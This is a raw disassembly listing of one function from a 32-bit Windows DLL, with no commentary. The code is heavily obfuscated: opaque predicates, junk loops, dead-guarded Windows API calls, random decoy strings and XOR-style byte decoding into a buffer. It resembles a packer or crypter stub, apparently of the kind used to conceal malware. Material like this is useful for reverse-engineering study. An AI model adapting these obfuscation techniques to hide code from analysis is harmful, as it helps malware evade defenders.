and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x8f8]
cmp dword [ebp - 0x568], eax
jge 0x10017003
mov dword [ebp - 0x740], 1
jmp 0x1001700a
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0xa28], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd14]
call fcn.10001940
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x17c]
and eax, 0xea
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x17c]
or ecx, 0xea
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x17c]
mov byte [ebp + eax - 0xaec], cl
mov dword [ebp - 0x28], 2
and dword [ebp - 0x270], 0
jmp 0x1001707b
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x20
jae 0x10018842
mov dword [ebp - 0x570], 0x4e7f
mov dword [ebp - 0xa90], str.lxfssio_iqtdkpt_wgfigusu_mhjlcpn_uojanq_kqvfjcs_cze_bwbknd_pwbgws_gwc_isjyvl_vte_rcwwxchxt
cmp dword [ebp - 0x570], 0x4ff2
jle 0x10017154
push 0xc8d
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
and dword [ebp - 0x1a0], 0
jmp 0x100170ca
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x63d4
jge 0x10017154
and dword [ebp - 0x1a8], 0
jmp 0x100170ec
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x1ea0
jge 0x1001714f
mov eax, dword [ebp - 0x1a0]
or eax, dword [ebp - 0x1a8]
cdq
mov dword [ebp - 0x96c], eax
mov dword [ebp - 0x968], edx
push dword [ebp - 0x968]
push dword [ebp - 0x96c]
lea ecx, [ebp - 0xf5c]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x904], eax
mov ecx, dword [ebp - 0x904]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf5c]
call fcn.10003dc0
jmp 0x100170df
jmp 0x100170bd
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x570], 0x4bf3
jge 0x10017173
push dword [ebp - 0xa90]
call fcn.1003eb1f
pop ecx
jmp 0x1001718f
or dword [ebp - 4], 0xffffffff
jmp 0x10017199
mov dword [ebp - 0x7d8], 0
mov dword [ebp - 0x7d4], 0
mov dword [ebp - 0x7d0], 0
mov dword [ebp - 0x7cc], 0
push 1
lea ecx, [ebp - 0x7f0]
call fcn.100018bd
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0xc78], 0x305aba9a
mov dword [ebp - 0xc7c], 1
mov dword [ebp - 0x1b0], 0
jmp 0x10017209
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 1
jge 0x1001722b
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
mov dword [eax], 1
jmp 0x100171fc
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x7d8]
cmp ecx, dword [ebp + eax - 0x7d8]
je 0x10017251
mov dword [ebp - 0x6a8], 1
jmp 0x10017258
and dword [ebp - 0x6a8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6a8]
mov dword [ebp + eax - 0x7d8], ecx
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jl 0x100172d2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d8], 0
je 0x100172b0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
cmp dword [eax], 0
je 0x100172b0
mov dword [ebp - 0x578], 1
jmp 0x100172b7
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0xffffffff
jbe 0x100172c9
mov eax, 0x45cb81ec
test eax, eax
jne 0x100172d2
and dword [ebp - 0x794], 0
jmp 0x100172dc
mov dword [ebp - 0x794], 1
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
mov ecx, dword [ebp - 0x794]
cmp ecx, dword [eax]
jge 0x100172ff
mov dword [ebp - 0x580], 1
jmp 0x10017306
and dword [ebp - 0x580], 0
cmp dword [ebp - 0x580], 0
je 0x1001732d
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
cmp dword [eax], 0
je 0x1001732d
mov dword [ebp - 0x6b0], 1
jmp 0x10017334
and dword [ebp - 0x6b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d8]
cmp eax, dword [ebp - 0x6b0]
jge 0x10017367
push 0
lea ecx, [ebp - 0x7f0]
call fcn.1000195c
cmp dword [eax], 0
je 0x10017367
mov dword [ebp - 0x588], 1
jmp 0x1001736e
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0x40fc0272
je 0x10017386
mov dword [ebp - 0x748], 1
jmp 0x1001738d
and dword [ebp - 0x748], 0
cmp dword [ebp - 0x748], 0
je 0x100173cd
mov dword [ebp - 0x44], 0xffffffff
jmp 0x100173a6
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x18
je 0x100173c8
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x100173c6
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
jmp 0x1001739f
jmp 0x1001761b
mov dword [ebp - 0xb58], 0x7218
mov dword [ebp - 0xb54], 0x7218
mov dword [ebp - 0xb50], 0x7218
mov dword [ebp - 0xb4c], 0x7218
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0xa30], 0xffffffff
mov dword [ebp - 0x44], 0
jmp 0x10017419
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffeb
jl 0x1001761b
push 2
lea ecx, [ebp - 0x7e4]
call fcn.100018bd
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x1b8], 0
jmp 0x1001744d
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x1001746f
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
mov dword [eax], 0x84b5
jmp 0x10017440
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb58], 0
je 0x10017498
mov dword [ebp - 0x590], 1
jmp 0x1001749f
and dword [ebp - 0x590], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0x7d8]
push 0
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
mov ecx, dword [ebp - 0x590]
add ecx, dword [eax]
cmp ecx, esi
je 0x100174d0
mov dword [ebp - 0x6b8], 1
jmp 0x100174d7
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x6b8], eax
jle 0x100174f1
mov dword [ebp - 0x598], 1
jmp 0x100174f8
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 0xfff6
ja 0x10017510
mov dword [ebp - 0x910], 1
jmp 0x10017517
and dword [ebp - 0x910], 0
push 1
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
push 1
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
cmp dword [eax], 0xfffffff6
jne 0x10017551
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7d8], 0
je 0x10017551
mov dword [ebp - 0x7b4], 1
jmp 0x10017558
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 0xfff6
jne 0x10017570
mov dword [ebp - 0x5a0], 1
jmp 0x10017577
and dword [ebp - 0x5a0], 0
mov esi, dword [ebp - 0x5a0]
sub esi, 0x770aacc7
push 0
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
cmp esi, dword [eax]
je 0x100175a0
mov dword [ebp - 0x6c0], 1
jmp 0x100175a7
and dword [ebp - 0x6c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb58]
add eax, dword [ebp - 0x6c0]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x7d8]
imul ecx, eax
test ecx, ecx
je 0x100175f4
cmp dword [ebp - 0x1c0], 0
je 0x100175f4
push 1
lea ecx, [ebp - 0x7e4]
call fcn.1000195c
cmp dword [eax], 0
je 0x100175f4
mov dword [ebp - 0x5a8], 1
jmp 0x100175fb
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0xa30], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x7e4]
call fcn.10001940
jmp 0x10017412
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7f0]
call fcn.10001940
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x17c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x100184ff
mov dword [ebp - 0x30], 0x32bb
mov dword [ebp - 0x6c8], 0xfffffffb
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0xc84], 0
mov dword [ebp - 0x5c8], 0xf4da
mov dword [ebp - 0x1c8], 0
jmp 0x1001768d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jge 0x100176a9
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0x928], 1
jmp 0x10017680
mov dword [ebp - 0x1d0], 1
mov eax, dword [ebp - 0x1d0]
neg eax
je 0x100176cf
cmp dword [ebp - 0x30], 0
je 0x100176cf
mov dword [ebp - 0x750], 1
jmp 0x100176d6
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x750], eax
je 0x100176e7
cmp dword [ebp - 0x30], 0
je 0x100176f7
xor eax, eax
je 0x100176f7
mov dword [ebp - 0x5b0], 1
jmp 0x100176fe
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x5b0], eax
je 0x10017715
mov dword [ebp - 0x91c], 1
jmp 0x1001771c
and dword [ebp - 0x91c], 0
cmp dword [ebp - 0x30], 0
je 0x10017737
cmp dword [ebp - 0x1d0], 0
je 0x10017737
mov dword [ebp - 0x5b8], 1
jmp 0x1001773e
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
cmp eax, dword [ebp - 0x5b8]
je 0x10017761
mov dword [ebp - 0x7a4], 1
jmp 0x10017768
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x7a4]
cmp eax, dword [ebp - 0x30]
je 0x10017783
mov dword [ebp - 0xaa4], 1
jmp 0x1001778a
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc8c], eax
mov eax, dword [ebp - 0x30]
add eax, 0xfff7
je 0x100177a9
mov dword [ebp - 0x5c0], 1
jmp 0x100177b0
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x5c0]
jl 0x100177d0
cmp dword [ebp - 0x1d0], 0
je 0x100177d0
mov dword [ebp - 0x6d0], 1
jmp 0x100177d7
and dword [ebp - 0x6d0], 0
imul eax, dword [ebp - 0x6d0], 0
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x928], eax
mov eax, dword [ebp - 0x5c8]
dec eax
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17c]
inc eax
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x3cc], 1
mov dword [ebp - 0x3ac], 0xfffffffd
mov dword [ebp - 0x1d8], 0
jmp 0x10017837
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 2
jge 0x10017853
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x140], 8
jmp 0x1001782a
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x10017876
push 0
push 0
push 0xb19
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x140], 0xfffffffb
jmp 0x100178a4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x140], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x140], 0xffffffeb
jge 0x10017d3c
mov dword [ebp - 0x5e0], 0x3c39ba09
mov dword [ebp - 0x1c], 0xffffffff
cmp dword [ebp - 0x1c], 0
je 0x100178e1
cmp dword [ebp - 0x1c], 0
je 0x100178e1
mov dword [ebp - 0x758], 1
jmp 0x100178e8
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x758]
sub eax, 0x8633
cmp dword [ebp - 0x1c], eax
jne 0x10017915
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x140], 0
jne 0x10017915
and dword [ebp - 0x5d0], 0
jmp 0x1001791f
mov dword [ebp - 0x5d0], 1
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x140]
imul ecx, dword [ebp - 0x5d0]
cmp ecx, dword [ebp + eax - 0x140]
je 0x1001794e
mov dword [ebp - 0x6d8], 1
jmp 0x10017955
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
sub eax, 0xb2084ec
mov ecx, dword [ebp - 0x1c]
add ecx, eax
imul ecx, dword [ebp - 0x3cc]
cmp ecx, dword [ebp - 0x1c]
jl 0x1001797d
mov dword [ebp - 0x5d8], 1
jmp 0x10017984
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x5d8]
cmp eax, 0xd1883800
jb 0x100179a0
mov dword [ebp - 0x7bc], 1
jmp 0x100179a7
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x7bc], eax
jle 0x100179be
mov dword [ebp - 0x3e8], 1
jmp 0x100179c5
and dword [ebp - 0x3e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
mov dword [ebp - 0x5e0], eax
mov eax, dword [ebp - 0x5e0]
cmp eax, dword [ebp - 0x3e8]
jle 0x100179f2
mov dword [ebp - 0xa38], 1
jmp 0x100179f9
and dword [ebp - 0xa38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
mov dword [ebp - 0xc94], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x140]
mov dword [ebp - 0xc9c], eax
cmp dword [ebp - 0x1c], 0
je 0x10017bb8
mov dword [ebp - 0xe0], 0xfffffff9
mov dword [ebp - 0x3a4], 1
cmp dword [ebp - 0xe0], 0
je 0x10017a93
imul eax, dword [ebp - 0x1c], 0x1b78
cmp eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x3cc], 0xfffa
jbe 0x10017a6b
mov dword [ebp - 0x3ec], 1
jmp 0x10017a72
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0xfff6
jb 0x10017a93
cmp dword [ebp - 0xe0], 0
je 0x10017a93
mov dword [ebp - 0x3f4], 1
jmp 0x10017a9a
and dword [ebp - 0x3f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0]
add ecx, dword [ebp - 0x3f4]
cmp ecx, dword [ebp + eax - 0x140]
jle 0x10017ac1
mov dword [ebp - 0x3fc], 1
jmp 0x10017ac8
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0x3a4]
jge 0x10017aee
mov dword [ebp - 0x404], 1
jmp 0x10017af5
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
sub eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x3a4]
jg 0x10017b21
mov dword [ebp - 0x40c], 1
jmp 0x10017b28
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x3cc]
cmp dword [ebp - 0x40c], eax
jle 0x10017b4b
cmp dword [ebp - 0x3ac], 0
je 0x10017b4b
mov dword [ebp - 0x414], 1
jmp 0x10017b52
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x10017b97
mov dword [ebp - 0x1c], 0
jmp 0x10017b71
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe7
jg 0x10017b95
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x10017b93
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x10017b6a
jmp 0x10017bb3
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x10017bb3
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
jmp 0x10017d37
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x10017bdf
push 0x24a5
push 0x69a
push 0xd27
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov byte [ebp - 0x88], 0
mov dword [ebp - 0x41c], 0xed8
mov dword [ebp - 0xaa0], str.npdovtr_yxan_onnrzikb_qucvrbjy_zedupxjla_mvmy_ege_dcrny
cmp dword [ebp - 0x41c], 0x1119
jle 0x10017cdf
and dword [ebp - 0x1e0], 0
jmp 0x10017c20
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x6fdb
jge 0x10017cdf
and dword [ebp - 0x1e8], 0
jmp 0x10017c46
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x41d
jge 0x10017cda
and dword [ebp - 0x1f0], 0
jmp 0x10017c6c
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xb30
jge 0x10017cd5
mov eax, dword [ebp - 0x1e0]
add eax, dword [ebp - 0x1e8]
and eax, dword [ebp - 0x1f0]
cdq
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], edx
push dword [ebp - 0x974]
push dword [ebp - 0x978]
lea ecx, [ebp - 0xf8c]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x934], eax
mov ecx, dword [ebp - 0x934]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf8c]
call fcn.10003dc0
jmp 0x10017c5f
jmp 0x10017c39
jmp 0x10017c13
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x10017cf2
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x41c], 0xb8d
jge 0x10017d11
push dword [ebp - 0xaa0]
call fcn.1003eb1f
pop ecx
jmp 0x10017d2d
or dword [ebp - 4], 0xffffffff
jmp 0x10017d37
jmp 0x10017889
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17c]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x120], 0x91509cf1
mov dword [ebp - 0x84], 0xffffffff
mov dword [ebp - 0x74], 0xfff9
mov dword [ebp - 0xca4], 0
mov dword [ebp - 0x94c], 0xff846c8c
mov dword [ebp - 0xcac], 0xe4c996e1
mov dword [ebp - 0x1f8], 0
jmp 0x10017dad
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 3
jge 0x10017dc9
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0xe58], 0xfffffffc
jmp 0x10017da0
cmp dword [ebp - 0x120], 6
je 0x10017dde
mov dword [ebp - 0x424], 1
jmp 0x10017de5
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x120]
imul eax, dword [ebp - 0x424]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
je 0x10017e19
mov dword [ebp - 0x42c], 1
jmp 0x10017e20
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x42c]
jl 0x10017e3a
mov dword [ebp - 0x434], 1
jmp 0x10017e41
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x434], eax
jge 0x10017e5b
mov dword [ebp - 0x940], 1
jmp 0x10017e62
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xcb4], eax
mov eax, dword [ebp - 0x84]
sub eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0xf0]
jge 0x10017e94
mov dword [ebp - 0x43c], 1
jmp 0x10017e9b
and dword [ebp - 0x43c], 0
xor eax, eax
sub eax, dword [ebp - 0x43c]
cmp eax, dword [ebp - 0x74]
je 0x10017eb4
mov dword [ebp - 0x444], 1
jmp 0x10017ebb
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x444], eax
je 0x100184ca
cmp dword [ebp - 0xf0], 0
je 0x100184ca
mov dword [ebp - 0x6c], 0
jmp 0x10017eea
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10017f00
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xec4], 0x90ae73
jmp 0x10017ee3
mov dword [ebp - 0x6c], 0
jmp 0x10017f10
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x10017f26
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x1040], 0xfffffffb
jmp 0x10017f09
mov dword [ebp - 0x84], 0
jmp 0x10017f3f
cmp dword [ebp - 0x84], 1
jg 0x100184c8
mov dword [ebp - 0xd88], 0x423c
mov dword [ebp - 0xd90], 1
mov dword [ebp - 0xd98], 0
mov dword [ebp - 0x44c], 0x675c
mov dword [ebp - 0xa40], str.cci_aedq_yhmraovtl_mqtdyp_kopnttp_jdxge
cmp dword [ebp - 0x44c], 0x682d
jle 0x1001803b
and dword [ebp - 0x210], 0
jmp 0x10017fa4
cmp dword [ebp - 0x210], 0x4ff8
jge 0x1001803b
and dword [ebp - 0x200], 0
jmp 0x10017fca
cmp dword [ebp - 0x200], 0x21b9
jge 0x10018036
and dword [ebp - 0x208], 0
jmp 0x10017fec
jmp 0x10017f97
mov dword [ebp - 0xda0], 0xffffffff
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x44c], 0x6490
jge 0x10018068
mov edx, dword [ebp - 0xa40]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x10018084
or dword [ebp - 4], 0xffffffff
jmp 0x1001808e
mov dword [ebp - 0xda8], 0x1e34f9a3
mov dword [ebp - 0x124], 0x2c80f3bb
mov dword [ebp - 0xdb0], 1
push 3
lea ecx, [ebp - 0xd24]
call fcn.100018bd
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0xc74], 0x919139f4
mov dword [ebp - 0x218], 0
jmp 0x100180e3
cmp dword [ebp - 0x218], 3
jge 0x10018105
jmp 0x100184fa
mov dword [ebp - 0x74], 0
jmp 0x100184da
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jg 0x100184fa
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x100184f8
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
jmp 0x100184d3
jmp 0x10017073
push 4
lea ecx, [ebp - 0xd34]
call fcn.100018bd
mov dword [ebp - 4], 0x43
mov dword [ebp - 0x260], 0
jmp 0x1001852c
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 4
jge 0x1001854e
push dword [ebp - 0x260]
lea ecx, [ebp - 0xd34]
call fcn.1000195c
mov dword [eax], 1
jmp 0x1001851f
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x1001856d
push 0
push 0x250c
call dword [sym.imp.GDI32.dll_SetBkColor]
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1001858e
push 0x2451
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd34]
call fcn.10001940
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x270]
movzx eax, byte [ebp + eax - 0x17e]
movsx eax, byte [ebp + eax - 0xaec]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x17b]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x270]
movzx eax, byte [ebp + eax - 0x17e]
movsx eax, byte [ebp + eax - 0xaec]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0x17b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17c]
mov byte [ebp + eax - 0xaec], dl
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x268], 1
mov dword [ebp - 0x9dc], 0xfffffff7
mov dword [ebp - 0xdc0], 0
mov dword [ebp - 0x988], 0xcb8f6c21
mov dword [ebp - 0xbbc], 0x4b0b4ef6
mov dword [ebp - 0xbb8], 0x4b0b4ef6
mov dword [ebp - 0xbb4], 0x4b0b4ef6
mov dword [ebp - 0xbb0], 0x4b0b4ef6
lea ecx, [ebp - 0x3b5]
call fcn.1000196b
push eax
lea eax, [ebp - 0xbac]
push eax
lea eax, [ebp - 0xbbc]
push eax
lea ecx, [ebp - 0xeb4]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd44]
call fcn.1000191a
mov dword [ebp - 4], 0x44
mov dword [ebp - 0x3c4], 0xffffffff
mov dword [ebp - 0x9e4], 1
mov dword [ebp - 0xe8], 0
jmp 0x100186c0
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xffffffe9
je 0x1001872e
mov dword [ebp - 0x970], 0xf54c
mov dword [ebp - 0x9d4], 0xfffffff8
mov eax, dword [ebp - 0x970]
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x9d4], eax
mov byte [ebp - 0x8c], 0
movzx eax, byte [ebp - 0x8c]
test eax, eax
je 0x1001872c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x8a2
push 0x1be3
push 0x1491
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x100186b3
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0x268], 0xb2906c90
jae 0x10018769
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x3c4]
dec ecx
mov dword [ebp - 0x3c4], ecx
test eax, eax
je 0x10018769
mov dword [ebp - 0x3e4], 1
jmp 0x10018770
and dword [ebp - 0x3e4], 0
cmp dword [ebp - 0xe8], 0xf928
jge 0x10018791
mov eax, 0x5755261f
test eax, eax
je 0x10018791
mov dword [ebp - 0x97c], 1
jmp 0x10018798
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x9dc]
neg eax
cmp dword [ebp - 0x3e4], eax
jge 0x100187c9
mov eax, 0x997b09b3
test eax, eax
je 0x100187c9
mov dword [ebp - 0x474], 1
jmp 0x100187d0
and dword [ebp - 0x474], 0
push 2
lea ecx, [ebp - 0xd44]
call fcn.1000195c
mov ecx, dword [ebp - 0x474]
cmp ecx, dword [eax]
jg 0x100187f3
mov dword [ebp - 0x47c], 1
jmp 0x100187fa
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x47c], eax
jge 0x10018814
mov dword [ebp - 0x484], 1
jmp 0x1001881b
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x9e4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd44]
call fcn.10001940
and dword [ebp - 0x270], 0
jmp 0x10017073
mov dword [ebp - 0x68], 0x48bbca63
